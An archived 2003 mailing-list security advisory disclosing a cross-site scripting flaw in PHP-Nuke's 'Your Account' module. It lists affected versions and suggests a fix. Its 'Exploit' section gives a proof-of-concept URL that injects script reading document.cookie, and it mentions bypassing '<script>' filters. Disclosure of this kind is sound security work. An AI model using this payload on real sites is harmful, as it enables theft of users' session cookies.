PHPNuke "Your Account" XSS Vulnerability

From: Ferruh Mavituna (ferruhat_private)
Date: Sun May 11 2003 - 08:28:59 PDT

Next message: mattmurphyat_private: "eServ Memory Leak Solution"

Previous message: bugzillaat_private: "[Full-Disclosure] [RHSA-2003:160-01] Updated xinetd packages fix a denial-of-service attack and other bugs"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

------------------------------------------------------
PHPNuke "Your Account" XSS Vulnerability
------------------------------------------------------

------------------------------------------------------
Vulnerable;
------------------------------------------------------
Francisco Burzi PHP-Nuke 6.5 Final Release

------------------------------------------------------
Not tested but %90 vulnerable;
------------------------------------------------------
Francisco Burzi PHP-Nuke 5.6
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5

------------------------------------------------------
About PHPNuke;
------------------------------------------------------
PHP Based Content Management System
http://www.phpnuke.org

------------------------------------------------------
Solution;
------------------------------------------------------
Simple string check or user check should be OK !

------------------------------------------------------
Exploit;
------------------------------------------------------
http://[victim]/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>

*You may need to login first.
**Some of servers/PHP Nuke Systems has a security check for "<script>"
strings for Querystrings or POST variables (ie. www.phphnuke.org). But this
systems are still vulnerable. You can skip these controls with some JS
tricks.


Ferruh Mavituna
Freelance Developer & Designer
http://ferruh.mavituna.com
ferruhat_private

Next message: mattmurphyat_private: "eServ Memory Leak Solution"
Previous message: bugzillaat_private: "[Full-Disclosure] [RHSA-2003:160-01] Updated xinetd packages fix a denial-of-service attack and other bugs"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Tue May 13 2003 - 11:06:46 PDT